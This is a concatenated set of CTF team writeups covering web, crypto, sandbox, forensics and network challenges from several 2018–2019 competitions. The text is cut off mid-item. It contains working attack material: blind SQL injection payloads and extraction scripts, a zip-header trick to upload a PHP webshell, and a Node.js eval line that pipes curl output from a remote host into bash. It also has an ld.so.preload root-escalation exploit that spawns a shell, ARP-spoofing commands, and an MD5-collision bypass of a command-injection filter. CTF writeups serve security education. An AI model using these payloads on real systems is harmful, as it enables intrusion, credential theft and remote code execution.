print('flag', flag) 284 | break 285 | else: 286 | print('nope') 287 | if not bingo: 288 | print('not found next char .....') 289 | print(flag) 290 | exit(0) 291 | ``` 292 | 293 | The string comparision in MYSQL is case insensitive, but since the flag is in hex digit format it's fine. 294 | 295 | Reference: 296 | - [spyclub inctf 2018 writeup](https://spyclub.tech/2018/10/08/2018-10-08-inctf2018-web-challenge-writeup/) 297 | 298 | #### Solution 2 299 | 300 | It's worth to mention that the challenge filters all the [string functions](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html) and almost all [crypto functions](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html). The only function we can use is `to_base64`. Thus another solution is to encoded the flag in base64 format and compare with the string. However because the base64-encoded flag contains `if` which is filtered, we have to encode the flag **twice** and perform the string comparison. 301 | 302 | Note that MySQL always perform case-insensitive comparison, so we'll lost the information of the case in base64. However fortunately since the flag is in hex digit, it not too hard to recover it. 303 | 304 | Another thing is that mysql base64-encoded string will contain a newline character if the output is more than 76 bytes. WTF...... (though the behavior is the same as the linux `base64`, who will expect a newline there.....) 305 | ``` 306 | // return 1 307 | // note substr index starts from 1 308 | select substr(to_base64("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"),77,1)="\n" 309 | ``` 310 | 311 | #### Failed attempts 312 | - using other function to bypass WAF 313 | - I write a simle script to try all string function of MySQL 8.0. All of them are filtered except to_base64. 314 | - using other statement to bypass WAF 315 | - Yeah both `select` and `where` are not filterd. Maybe there are some useful statements which can be used to bypass WAF? But I don't think is possible because we want to manipulate the string itself. 316 | -------------------------------------------------------------------------------- /20181207-hxpctf/README.md: -------------------------------------------------------------------------------- 1 | # hxp CTF 2018 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20181207-hxpctf/) of this writeup.** 4 | 5 | 6 | - [hxp CTF 2018](#hxp-ctf-2018) 7 | - [Crypto](#crypto) 8 | - [blind](#blind) 9 | - [oops2](#oops2) 10 | - [curve12833227](#curve12833227) 11 | - [blinder](#blinder) 12 | - [blinder_v2](#blinder_v2) 13 | - [Web](#web) 14 | - [time for h4x0rpsch0rr?](#time-for-h4x0rpsch0rr) 15 | - [unpack0r](#unpack0r) 16 | - [Failed Attempts](#failed-attempts) 17 | - [µblog](#µblog) 18 | - [Failled Attempts](#failled-attempts) 19 | 20 | 21 | ## Crypto 22 | 23 | ### blind 24 | 25 | sasdf 26 | 27 | https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blind/ 28 | 29 | ### oops2 30 | 31 | sasdf 32 | 33 | https://sasdf.cf/ctf/writeup/2018/hxp/crypto/oops/ 34 | 35 | ### curve12833227 36 | 37 | sasdf 38 | 39 | https://sasdf.cf/ctf/writeup/2018/hxp/crypto/curve/ 40 | 41 | ### blinder 42 | 43 | sasdf 44 | 45 | https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blinder/ 46 | 47 | ### blinder_v2 48 | 49 | sasdf 50 | 51 | https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blinder_v2/ 52 | 53 | ## Web 54 | 55 | ### time for h4x0rpsch0rr? 56 | 57 | bookgin 58 | 59 | The website uses MQTT websocket to receive the temperature. 60 | 61 | ```htmlmixed 62 | ... 63 | 64 | 65 | 69 | ``` 70 | 71 | And there is admin panel, but username, password and OTP are required to login. 72 | 73 | Let's take a look at the [document](https://www.hivemq.com/blog/mqtt-essentials-part-5-mqtt-topics-best-practices/). It does support wildcard charcaters. 74 | 75 | >If you specify only the multi-level wildcard as a topic (#), you receive all messages that are sent to the MQTT broker. 76 | 77 | I try to subscribe `#`, but no other messages are received. In the document, topics beginning with `$` are not part of the subscription when you subscribe to the multi-level wildcard as a topic (#). 78 | 79 | Next is to subscribe `$SYS/#`. Bingo! I receive the message from `$internal/admin/webcam` channel. The message is actually an image. Decoding this image we will get admin's username, password and OTP. Login to the admin panel and get the flag. Note that the OTP will change in a few seconds. 80 | 81 | ``` 82 | curl 'http://159.69.212.240:8001/admin.php' -d 'user=iot_fag&password=I<3SecurID&otp=861729' -sD - 83 | ``` 84 | 85 | ### unpack0r 86 | 87 | bookgin 88 | 89 | For the server side source code, please refer to [writeup by graneed](https://graneed.hatenablog.com/entry/2018/12/09/220317). 90 | 91 | Basically, the server will unzip the file. However, the filename can only contain a-z. We cannot directly upload a webshell or `.htaccess`. 92 | 93 | The most notable thing here is the server uses php zip to check the filename, but it uses linux `unzip` to decompress the file. It's possible we can take advantage of this inconsistency. In the source, it uses php `zip->numFiles` and iterates each file to check the filename. What if we can make `zip->numFiles` return a incorrect number? So the plan is 94 | 95 | 1. zip a webshell `shell.php` 96 | 2. Make `zip->numFiles` return 0. 97 | 3. The zip file can still be decompressed by linux `unzip`. 98 | 99 | Here is a [great document](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html) describing the ZIP file format. in the end of central directory record, there are two attributes `Disk entry` and `Total entry`. Just patch number to zero (0x00) and we can upload the webshell. 100 | 101 | ```shell 102 | $ xxd a.zip 103 | 00000000: 504b 0304 0a00 0000 0000 765a 884d 256d PK........vZ.M%m 104 | 00000010: ec8c 1800 0000 1800 0000 0900 1c00 6161 ..............aa 105 | 00000020: 6161 612e 7068 7055 5409 0003 20ef 0b5c aaa.phpUT... ..\ 106 | 00000030: 20ef 0b5c 7578 0b00 0104 e803 0000 04e8 ..\ux.......... 107 | 00000040: 0300 003c 3f70 6870 0a73 7973 7465 6d28 ... bookgin 20 | 21 | This is a blind SQL injection challenge. 22 | 23 | ``` 24 | curl "http://web2.tamuctf.com/Search.php?Search='%20or%20''='" -sD - 25 | curl "http://web2.tamuctf.com/Search.php?Search='" -sD - 26 | curl "http://web2.tamuctf.com/Search.php?Search=1" -sD - 27 | ``` 28 | 29 | - SQL syntax error: HTTP 200 30 | - true: HTTP 500 + Nice try, nothing to see here. 31 | - false: HTTP 500 + Our search isn't THAT good... 32 | 33 | The HTTP status code is manipulated intentionally. 34 | 35 | My payload to retrive all the information: 36 | 37 | ``` 38 | ' or (select (select column_name from ((select table_schema,table_name,column_name FROM information_schema.columns where table_schema!='mysql' and table_schema!='information_schema' and table_schema !='sys' and table_schema !='performance_schema') as foo)) like binary "items" ) and ''=' 39 | ``` 40 | 41 | - version: `5.7.25-0ubuntu0.18.04.2` 42 | - Database: sqlidb 43 | - Table: Search 44 | - Columns: items 45 | - Rows: `Aggies`, `Trucks`, and `Eggs` 46 | 47 | So where is the flag? Hmm... it takes me a few hours to realize that it's hided in the `user()` .... 48 | 49 | `gigem{w3_4r3_th3_4ggi3s}@localhost` 50 | 51 | ### 1337 Secur1ty 52 | 53 | > bookgin, KennyTseng 54 | 55 | 56 | Yey another SQL injnection challenge. 57 | 58 | ``` 59 | http://web6.tamuctf.com/message?id=' or ''=' 60 | ``` 61 | 62 | To get the table names and column names first: 63 | 64 | ``` 65 | ' or (select (select table_name from ((select table_schema,table_name,column_name FROM information_schema.columns where table_schema!='mysql' and table_schema!='information_schema' and table_schema !='sys' and table_schema !='performance_schema' and table_name != 'Messages' and table_name != 'Users') as foo) limit 1) like "foo%" ) and ''=' 66 | ``` 67 | 68 | 69 | My script to retrieve admin's secret: 70 | 71 | ```python 72 | #!/usr/bin/env python3 73 | 74 | import requests 75 | s = requests.session() 76 | cookies = dict(userid='3', secret='6IY7TNFKAVT5FNGK') 77 | 78 | t = '' 79 | while True: 80 | for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-.': 81 | print(t) 82 | payload = f''' 83 | ' or 84 | (select (select secret from Users where username = "1337-admin") like "{t+i}%") 85 | and ''=' 86 | '''.replace('\n', '') 87 | r = s.get('http://web6.tamuctf.com/message', params=dict(id=payload), cookies=cookies) 88 | if 'we need to talk about the cookies' in r.text: 89 | print(True) 90 | t+=i 91 | print(t) 92 | break 93 | elif '//' in r.text: 94 | print(False) 95 | else: 96 | print('syntax error') 97 | ``` 98 | 99 | ```sh 100 | $ curl 'http://web6.tamuctf.com/' --cookie 'userid=1; secret=WIFHXDZ3BOHJMJSC' 101 | 102 | # gigem{th3_T0tp_1s_we4k_w1tH_yoU} 103 | ``` 104 | 105 | #### Failed Attempts 106 | 107 | - XSS: No it's not. The message body escapes the html properly. 108 | - SQL injection in registering, editing information, cookies 109 | 110 | 111 | ## Network/Pentest 112 | 113 | ### Copper 114 | 115 | After connect VPN by `sudo openvpn --config copper.ovpn`, I scan the open subnet by `nmap -privileged -v 172.30.0.0/28`. 116 | ``` 117 | 172.30.0.2 118 | 8080/tcp open http-proxy 119 | 120 | 172.30.0.3 121 | ``` 122 | 123 | Then, I use the commands below to catch and format the bridged packets. 124 | ```shell 125 | $ ettercap -T -t tcp -M arp:remote /172.30.0.2// /172.30.0.3// -L Sam 126 | $ etterlog -n -s Sam.ecp -F tcp:172.30.0.3:33230:172.30.0.2:6023 >Sam.log.noheader 127 | ``` 128 | 129 | Just a peek over `Sam.log.noheader` 130 | ``` 131 | YiqMxpZQz+5dPf+qELowBw== 132 | US5MJOeTx6L69iQT3Y8B9g== 133 | 83jbJmmZc/RUXML8GcGuVg== 134 | h8zZvECdaFr730Mgo5EgYQ== 135 | YiqMxpZQz+5dPf+qELowBw== 136 | RdGNIA97r2yYuQsdXjbQGA== 137 | S+79/0xJH6oVAqvGSE+Vlw== 138 | ``` 139 | 140 | Since the problem describe that the user typed the same commands below over and over, I guess they have something to do with the packet captured. 141 | ```shell 142 | ls -la 143 | date > monitor.txt 144 | echo "=========================================" >> monitor.txt 145 | echo "ps -aux" >> monitor.txt 146 | ps -aux >> monitor.txt 147 | echo "=========================================" >> monitor.txt 148 | echo "df -h" >> monitor.txt 149 | df -h >> monitor.txt 150 | cp ./monitor.txt /logs 151 | exit 152 | ``` 153 | 154 | Suprisingly, that's true. 155 | ``` 156 | YiqMxpZQz+5dPf+qELowBw== l 157 | US5MJOeTx6L69iQT3Y8B9g== s 158 | 83jbJmmZc/RUXML8GcGuVg== ' ' 159 | h8zZvECdaFr730Mgo5EgYQ== - 160 | YiqMxpZQz+5dPf+qELowBw== l 161 | RdGNIA97r2yYuQsdXjbQGA== a 162 | S+79/0xJH6oVAqvGSE+Vlw== 163 | 164 | ... 165 | ``` 166 | 167 | Therefore, I construct a mapping from character to HASH. Besides, we can view the content of `monitor.txt` on `http://172.30.0.2:8080/monitor.txt`. 168 | Finally, our payload to get the flag before translated would be 169 | ```shell 170 | # Send the hash(payload) to 172.30.0.3:6023 171 | $ cat flag.txt > /logs/h 172 | # If success, we will get response below. 173 | # 92fKIeYPq2HyqG8DSo2Mfw== 174 | ``` 175 | Then 176 | ```shell 177 | $ curl "http://172.30.0.2:8080/h" 178 | 179 | # gigem{43s_3cb_b4d_a5c452ed22aa5f1a} 180 | ``` 181 | 182 | 183 | 184 | -------------------------------------------------------------------------------- /20190308-pragyanctf/README.md: -------------------------------------------------------------------------------- 1 | # Pragyan CTF 2019 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20190308-pragyanctf/) of this writeup.** 4 | 5 | 6 | - [Pragyan CTF 2019](#pragyan-ctf-2019) 7 | - [Forensics](#forensics) 8 | - [Welcome](#welcome) 9 | - [Web](#web) 10 | - [Mandatory PHP](#mandatory-php) 11 | - [Binary](#binary) 12 | 13 | 14 | ## Forensics 15 | 16 | ### Welcome 17 | * welcome.jpeg: 18 | ![](https://i.imgur.com/HbwpkgB.png) 19 | Use binwalk to extract `d.zip`, unzip it we got `a.zip` and `secret.bmp`. 20 | * secret.bmp: 21 | ``` 22 | okdq09i39jkc-evw.;[23760o-keqayiuhxnk42092jokdspb;gf&^IFG{:DSV>{>#Fqe'plverH%^rw[.b]w[evweA#km7687/*98_{":}>{>~?!@{%pb;gf&^IFG{:DSV>{>#Fqe'plverH%^rw[.b]w[evweA#km7687/*98_{":}>{>~?!?@{%&{:keqay^IFG{wfdoiajwlnh[8-7.=p54.b=dGhlIHBhc3N3b3JkIGlzOiBoMzExMF90aDNyMyE== 23 | ``` 24 | * `echo dGhlIHBhc3N3b3JkIGlzOiBoMzExMF90aDNyMyE== | base64 -D` 25 | * the password is: h3110_th3r3! 26 | 27 | Unzip a.zip, got a.png. 28 | * a.png: 29 | ![](https://i.imgur.com/EnrLKWY.png) 30 | * stegosolve 31 | ![](https://i.imgur.com/y7yLxjv.png) 32 | 33 | 34 | 35 | ## Web 36 | 37 | ### Mandatory PHP 38 | 39 | > bookgin 40 | 41 | ```php 42 | 0&&$d>0&&$d>$c&&$a==$c*$c+$d*$d) 54 | $s1="true"; 55 | else 56 | die("Bye..."); 57 | if($s1==="true") 58 | echo $flag1; 59 | for($i=1;$i<=10;$i++){ 60 | if($b==urldecode($b)) 61 | die('duck'); 62 | else 63 | $b=urldecode($b); 64 | } 65 | if($b==="WoAHh!") 66 | $s2="true"; 67 | else 68 | die('oops..'); 69 | if($s2==="true") 70 | echo $flag2; 71 | die('end...'); 72 | ?> 73 | ``` 74 | 75 | The payload: 76 | ``` 77 | http://159.89.166.12:14000/?val1=jM&val3=1e-309&val4=1e-308&val2=WoAHh%2525252525252525252521 78 | 79 | # pctf{b3_c4r3fu1_w1th_pHp_f31145} 80 | ``` 81 | 82 | Explanation: 83 | 84 | - val2: It need one more `%25` because Apache/PHP will decode it first before passing into php engine. 85 | - val1: Because `sha256("jM")=01bd8c1....`, when casting to integer, it becomes `1`. 86 | - val3, val4: We abuse floating-point "precision". 87 | 88 | ```php 89 | php > var_dump(1e-308*1e-308); 90 | float(0) 91 | ``` 92 | ## Binary 93 | -------------------------------------------------------------------------------- /20190522-securityfestctf/README.md: -------------------------------------------------------------------------------- 1 | # Security Fest 2019 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20190522-securityfestctf/) of this writeup.** 4 | 5 | 6 | - [Security Fest 2019](#security-fest-2019) 7 | - [Crypto](#crypto) 8 | - [cactus](#cactus) 9 | - [First Guess](#first-guess) 10 | - [Final Guess](#final-guess) 11 | - [Misc](#misc) 12 | - [Darkwebmessageboard](#darkwebmessageboard) 13 | - [Locksmith](#locksmith) 14 | 15 | 16 | ## Crypto 17 | 18 | ### cactus 19 | This is a weird challange :no_mouth: 20 | here's the chal script (with some modification): 21 | 22 | 23 | ```python= 24 | 25 | import random 26 | from flag import FLAG 27 | 28 | class Oracle: 29 | 30 | def __init__(self, secret, bits=512): 31 | self.secret = secret 32 | self.bits = bits 33 | self.range = 2*self.bits 34 | 35 | def sample(self, w): 36 | r = random.randint(0, 2^self.range) 37 | idx = range(self.bits) 38 | random.shuffle(idx) 39 | e = sum(1<` 74 | 75 | then I serached github and found this repo: https://github.com/kits-ab/the-dark-message-board 76 | 77 | and there is a encrypted message in the `http://darkboard-01.pwn.beer:5001/boards/1`: 78 | 79 | `rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXzgLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwEGlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ== 80 | ` 81 | 82 | the production key is in the git log: https://github.com/kits-ab/the-dark-message-board/commit/d95b029a044491a954b909a280ebebcf6e357ef4#diff-ea209ce78604d811cf3f3771a0f89ea2 83 | 84 | with this log message: `from some file that reminds me of the song 'here i am something like a hurricane'` 85 | 86 | after searching `here i am something like a hurricane` on google, I got this `here i am. Rock you like a hurricane`. 87 | 88 | so we need to brute force the password from `rockyou.txt`. 89 | 90 | we use this [tool](https://github.com/bwall/pemcracker.git) to crack the password. 91 | 92 | Result: `Password is falloutboy for test.pem` 93 | 94 | the plaintext of the encrypted message is `Bank url: http://bankofsweden-01.pwn.beer` 95 | 96 | but 80 port of this website is closed. 97 | 98 | so I use nmap to scan all ports of this site, then I found 5000 port is open. 99 | 100 | http://bankofsweden-01.pwn.beer:5000 101 | 102 | It is a bank website. 103 | 104 | In register step, there is a parameter `is_active`, if we set to `1`, then we will become authenticated user. 105 | 106 | After login, I found there is a LFI vulnerability in export function. 107 | 108 | So I download the `app.py` and got the flag: `SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}` 109 | 110 | ### Locksmith 111 | This challange starts with 9 random number $v_1$ to $v_9$, it also provides us 9 kinds of operation, each of them will add 9 positive number to each of $v_i$, the goal is to make all $v_i$ to a given constant. 112 | The point is, we can send multiple request at one time, which can massively reduce the overhead of IO. The rest is just a simply linear algebra. 113 | -------------------------------------------------------------------------------- /20190921-dragonctfteaser/README.md: -------------------------------------------------------------------------------- 1 | # Dragon CTF Teaser 2019 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20190921-dragonctfteaser/) of this writeup.** 4 | 5 | 6 | - [Dragon CTF Teaser 2019](#dragon-ctf-teaser-2019) 7 | - [Sandbox](#sandbox) 8 | - [Trusted Loading 1](#trusted-loading-1) 9 | - [Trusted Loading 2](#trusted-loading-2) 10 | - [Web](#web) 11 | - [rms](#rms) 12 | - [rms-fixed](#rms-fixed) 13 | - [looking glass](#looking-glass) 14 | - [Misc](#misc) 15 | - [PlayCAP (unsolved)](#playcap-unsolved) 16 | - [babyPDF](#babypdf) 17 | - [Crypto](#crypto) 18 | - [rsachained](#rsachained) 19 | 20 | 21 | ## Sandbox 22 | ### Trusted Loading 1 23 | We can execute any binary under the chroot("/home/chall/chroot"). We also can call trusted_loader to execute binary not under the chroot if that binary pass the signature check. The bug is at when trusted_loader check the file using stat with S_ISREG. If we provide a symlink, S_ISREG will also return True. We first let the symlink link to the "tester" to pass the signature check. Before trusted_loader execute the binary, we rename the binary which we want to execute to "tester". In the end, we can execute any binary not under the chroot to read "/flag1". 24 | 25 | ### Trusted Loading 2 26 | In this challenge, we have to read the "/flag2" which is only read by root. We found that we can upload file to the "/home/chall/chroot". This process is done by root privilege. "/home/chall" is owned by 1337, so we can delete "/home/chall/chroot" and make it as a symlink to any path. It means that we can create any file in any path. We create /etc/ld.so.preload and exit. When executing poweroff, it will preload our library. We hijack getopt_long to read the flag2. 27 | 28 | ```python 29 | from pwn import * 30 | 31 | 32 | def Upload(filename,name): 33 | data = open(filename).read() 34 | r.sendlineafter("3.","2") 35 | r.sendlineafter("?",name) 36 | r.sendlineafter("?",str(len(data))) 37 | r.sendafter("?",data) 38 | def Do_elf(filename): 39 | data = open(filename).read() 40 | r.sendlineafter("3.","1") 41 | r.sendlineafter("?",str(len(data))) 42 | r.sendafter("?",data) 43 | ''' 44 | init.c 45 | #include 46 | #include 47 | #include 48 | #include 49 | int main(){ 50 | symlink("/home/chall/chroot/tester","PWN"); 51 | symlink("/home/chall/chroot/tester.sig","PWN.sig"); 52 | while(1) { 53 | sleep(1); 54 | } 55 | 56 | } 57 | 58 | exp.c 59 | int main(){ 60 | system("rm -rf ../chroot"); 61 | system("ln -s /etc ../chroot"); 62 | puts("Done"); 63 | puts("3."); 64 | sleep(1); 65 | 66 | } 67 | 68 | sandbox.c 69 | #include 70 | #include 71 | #include 72 | int main(){ 73 | write(666,"\x01PWN",4); 74 | sleep(1); 75 | rename("exp","tester"); 76 | } 77 | 78 | libx.c 79 | int getopt_long(){ 80 | printf("My id : %d\n",getuid()); 81 | int fd = open("/flag2",0); 82 | char buf[0x100]; 83 | write(1,buf,read(fd,buf,0x100)); 84 | unlink("/etc/libx.so"); 85 | system("sh"); 86 | return 0; 87 | } 88 | 89 | ld.so.preload 90 | libx.so 91 | ''' 92 | 93 | 94 | r = remote("trustedloading.hackable.software", 1337) 95 | r.recvuntil(": ") 96 | s = process(r.recvline()[:-1].split()) 97 | s.recvuntil(": ") 98 | r.send(s.recvall()) 99 | s.close() 100 | 101 | #r = process('./start.sh') 102 | 103 | data = open("init").read() 104 | r.sendlineafter("?",str(len(data))) 105 | r.sendafter("?",data) 106 | Upload("tester","tester") 107 | Upload("tester.sig","tester.sig") 108 | Upload("exp","exp") 109 | context.arch = "amd64" 110 | Do_elf("sandbox") 111 | r.recvuntil("Done"); 112 | Upload("ld.so.preload","ld.so.preload") 113 | Upload("libx.so","libx.so") 114 | r.sendlineafter("3.","3") 115 | r.interactive() 116 | ``` 117 | 118 | ## Web 119 | 120 | ### rms 121 | * The program didn't check IPv4 `0.0.0.0`. 122 | * `http://0:8000/flag` 123 | * `DrgnS{350aa97f27f497f7bc13}` 124 | 125 | ### rms-fixed 126 | * `man gehostbyname`: `The functions gethostbyname() and gethostbyaddr() may return pointers to static data, which may be overwritten by later calls. 127 | * Set up a domain with AAAA record. 128 | * Race condition on ipv4 sockaddr. 129 | 130 | ```python= 131 | #!/usr/bin/env python 132 | from pwn import * 133 | 134 | ''' 135 | HTTP/1.0 200 OK 136 | Server: BaseHTTP/0.3 Python/2.7.15+ 137 | Date: Sun, 22 Sep 2019 13:10:31 GMT 138 | 139 | DrgnS{e9759caf4f2d2b69773c} 140 | 141 | ''' 142 | 143 | y = remote( 'rms-fixed.hackable.software' , 1337 ) 144 | 145 | def add( url ): 146 | y.sendlineafter( '[pfvaq]' , 'a' ) 147 | y.sendlineafter( 'url?' , url ) 148 | 149 | add( 'http://domain:8000/flag' ) # domain with AAAA record 150 | 151 | for i in range( 0x10 ): 152 | add( 'http://127.0.0.1' ) 153 | 154 | y.sendlineafter( '[pfvaq]' , 'v 0' ) 155 | 156 | y.interactive() 157 | ``` 158 | 159 | ### looking glass 160 | In this task, we can send a protobuf to server, the server will check the input won't cause commandline injection and execute it. 161 | However, the validator also has a md5 cache. 162 | 163 | The vulnerability is obvious: craft a good/evil pair of payload with same md5. 164 | 165 | The first method I tried is chosen prefix collision: Create two payload and add some dummy bytes after to make md5 collision. 166 | However, the input length is limited to 4 blocks. It's computation complexity is about 2^50. 167 | It may be feasible using a single GPU machine, but I solved it in another way before my GPU found the collision. 168 | 169 | There's a weaker version of collision attack on md5 called `Unicoll`, we can control the prefix and it also has a predictable difference (e.g. +1), 170 | so we can create blocks like: 171 | 172 | ``` 173 | aaaaaaaaaaaa... 174 | aaaaaaaaabaa... 175 | ``` 176 | 177 | In protobuf, we have a `Length-delimited` type: 178 | 179 | ``` 180 | [id | type] [length] [data] 181 | ``` 182 | 183 | Combine these things together, we can create a pair of payload where the length has one byte difference. 184 | And my final payload looks like: 185 | 186 | ``` 187 | Evil one: 188 | (evil payload) ([dummyID] [ n ] [collision ...]) ([dummyID] [dummyID] [0 [addressID] 7 "8.8.8.8" [pad]]) 189 | 190 | Good one: 191 | (evil payload) ([dummyID] [n+1] [collision ... [dummyID]]) ([dummyID] 0) ([addressID] 7 "8.8.8.8") ([pad]) 192 | ``` 193 | 194 | 195 | ## Misc 196 | 197 | ### PlayCAP (unsolved) 198 | 199 | This challenge was solved 30 minutes after the CTF ended, because I didn't notice the time lol. 200 | 201 | [Official repo](https://github.com/gynvael/random-stuff/tree/master/teaser_dragon_ctf_2019/playcap) 202 | 203 | The PCAP contains USB data of a controller talking to the HTML5 controller API. However. ot's hard to find the USB spec of Nintendo Switch controller. The only information I found is [this](https://github.com/dekuNukem/Nintendo_Switch_Reverse_Engineering/issues/7), though I don't think it's useful. 204 | 205 | Then, in the HTML page, I found there were only 5 keys. Maybe we can directly observe bits in packets to determine the corresponding key. I write a simple Python script to analyze the bits distribution: 206 | 207 | First, filter the USB packets with leftover data. 208 | 209 | ```shell 210 | $ tshark -r PlayCAP.pcapng -T fields -e usb.capdata 211 | ``` 212 | 213 | Then compute the distrubition of each bits in USB leftover data. 214 | 215 | ``` 216 | Counter({'0': 4720, '1': 259}) // reset? confirm? 217 | Counter({'0': 4979}) 218 | Counter({'0': 4918, '1': 61}) // confirm? reset? 219 | Counter({'0': 4979}) 220 | Counter({'1': 4979}) 221 | Counter({'0': 4979}) 222 | Counter({'0': 4979}) 223 | Counter({'0': 4979}) 224 | Counter({'0': 4979}) 225 | Counter({'0': 4979}) 226 | Counter({'0': 4979}) 227 | Counter({'0': 4979}) 228 | Counter({'0': 4979}) 229 | Counter({'0': 4979}) 230 | Counter({'0': 4979}) 231 | Counter({'0': 4979}) 232 | Counter({'0': 4830, '1': 149}) // direction pads? 233 | Counter({'0': 4606, '1': 373}) // direction pads? 234 | Counter({'0': 4842, '1': 137}) // direction pads? 235 | Counter({'0': 4794, '1': 185}) // direction pads? 236 | ... 237 | Counter({'0': 2364, '1': 23XX}) 238 | ``` 239 | 240 | Because the button usually works like this: if it's pressed, it will remain 1 for a few microseconds. Once it's released it will become 0. Based on this assumption, we can make a good guess. I've marked those bits in the code above. 241 | 242 | The rest is just recovering the button. 243 | 244 | ```python 245 | #!/usr/bin/env python3 246 | from collections import Counter 247 | from itertools import permutations 248 | 249 | board = '''ABCDEFGHIJ 250 | KLMNOPQRST 251 | UVWXYZabcd 252 | efghijklmn 253 | opqrstuvwx 254 | yz.,-=:;{}'''.split('\n') 255 | 256 | # wirhshark: filter "usb.src == 1.8.1" and save as filtered.pcapng 257 | # tshark -r filtered.pcapng -T fields -e usb.capdata > data 258 | 259 | lines = [bin(int(line[0:24],16))[2:].zfill(24*8) for line in open('data').read().splitlines() if line != ''] 260 | ops = [i[124]+i[126]+i[140:144] for i in lines] 261 | 262 | dir_map = {dir_op_code:dxdy for dir_op_code, dxdy in zip(['1000', '0100', '0010', '0001'], [ 263 | #(y, x) 264 | ( 0, -1), # left 265 | ( 0, +1), # right 266 | (-1, 0), # up 267 | (+1, 0), # down 268 | ])} 269 | flag = '' 270 | last_op = '111111' 271 | last_cnt = 0 272 | pos = (0, 0) 273 | for op in ops[3:]: 274 | if op == last_op: 275 | last_cnt += 1 276 | continue 277 | if op == '000000': 278 | print(last_cnt) 279 | last_op = op 280 | last_cnt = 0 281 | continue 282 | assert last_op == '000000' 283 | assert op.count('1') == 1 284 | last_op = op 285 | y, x = pos 286 | confirm, reset, direction = op[0], op[1], op[2:] 287 | if confirm == '1': 288 | print('confirm', end=', ') 289 | flag += board[y][x] 290 | elif reset == '1': 291 | print('reset', end=', ') 292 | pos = (0, 0) 293 | else: 294 | print('dir', direction, end=', ') 295 | dy, dx = dir_map[direction] 296 | pos = ((y+dy) % len(board), (x+dx) % len(board[0])) 297 | print(flag) 298 | ``` 299 | 300 | The flag: `DrgnS{LetsPlayAGamepad}` 301 | 302 | 303 | ### babyPDF 304 | * Use zlib to extract pdj obj stream. 305 | * Remove `/Filter /FlateDecode`. 306 | * Change the color to black: `0 0 0 rg /a0 gs`. 307 | ![](https://i.imgur.com/SiTw5FM.png) 308 | 309 | ## Crypto 310 | ### rsachained 311 | In this task, we got 4 different variants of RSA: 312 | 313 | ``` 314 | N1 = p1 * q1 (p 700 bits, q 1400 bits) 315 | N2 = p2 * q2 * r (p 700 bits, q 700 bits, r 700 bits) 316 | N3 = p3 * q3 * r (p 700 bits, q 700 bits, r 700 bits) 317 | N4 = p4 * q4 * q4 (p 700 bits, q 700 bits) 318 | ``` 319 | And we have `N` and lower 1050 bits of `d`, which is defined as: 320 | 321 | ``` 322 | e = 1667 323 | d = inverse(e, phi(N)) 324 | ``` 325 | To solve the first one, we can use the method described in [this paper](https://link.springer.com/content/pdf/10.1007%2F3-540-49649-1_3.pdf). 326 | 327 | 328 | ``` 329 | e * d = 1 (mod phi(N)) 330 | e * d = k * phi(N) + 1 331 | d < phi(N) => k < e 332 | 333 | s = p + q 334 | phi(N) = (p - 1) * (q - 1) = N − s + 1 335 | 336 | e * d0 = 1 + k(N − s + 1) (mod 2^1050) 337 | 338 | p^2 - s * p + N = 0 339 | ``` 340 | 341 | We can try all `k` to find `s` and `p`. 342 | Since `p` is only 700 bits, we don't need coppersmith to recover full `p`. 343 | 344 | For second and third one, there's a common factor (`r`) between those two `N`. We can calculate gcd to recover `r` and divide it, so the problem becomes same as the previous one. 345 | 346 | For the last one, we have to use a different polynomial: 347 | 348 | ``` 349 | s = (pq + q^2 - q) 350 | phi(N) = (p - 1) * (q - 1) * q = N - s 351 | 352 | e * d0 = 1 + k(N − s) (mod 2^1050) 353 | 354 | q^3 - q^2 - s * q + N = 0 355 | ``` 356 | Solve that polynomial to recover q. 357 | -------------------------------------------------------------------------------- /20190928-bsidesdelhictf/README.md: -------------------------------------------------------------------------------- 1 | # BSides Delhi CTF 2019 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20190928-bsidesdelhictf/) of this writeup.** 4 | 5 | 6 | - [BSides Delhi CTF 2019](#bsides-delhi-ctf-2019) 7 | - [Web](#web) 8 | - [Weird Calculator](#weird-calculator) 9 | - [Eval Me](#eval-me) 10 | - [Seek You El](#seek-you-el) 11 | - [Crypto](#crypto) 12 | - [SecureMAC](#securemac) 13 | - [First Part](#first-part) 14 | - [Second Part](#second-part) 15 | - [BabyRSA](#babyrsa) 16 | - [ExtendedElgamal](#extendedelgamal) 17 | 18 | 19 | ## Web 20 | 21 | ### Weird Calculator 22 | 23 | After a little fuzzing we found it's running nodejs `eval`. 24 | 25 | ``` 26 | require('child_process').exec('curl example.com|bash') 27 | ``` 28 | 29 | Half of the flag is in source code, and the other is in a another file. 30 | 31 | Flag: `bsides_delhi{Prototype_nd_sh3ll1ng_by_the_Cs1de}` 32 | 33 | ### Eval Me 34 | 35 | In this callenge, we can execute php `eval()` but it has lots of disabled functions. `openbase_dir` is also set. 36 | 37 | Let's first bypass `openbae_dir` to see if we can directly read the flag. 38 | 39 | ```php 40 | 112 | 113 | 114 | '''), 'img': 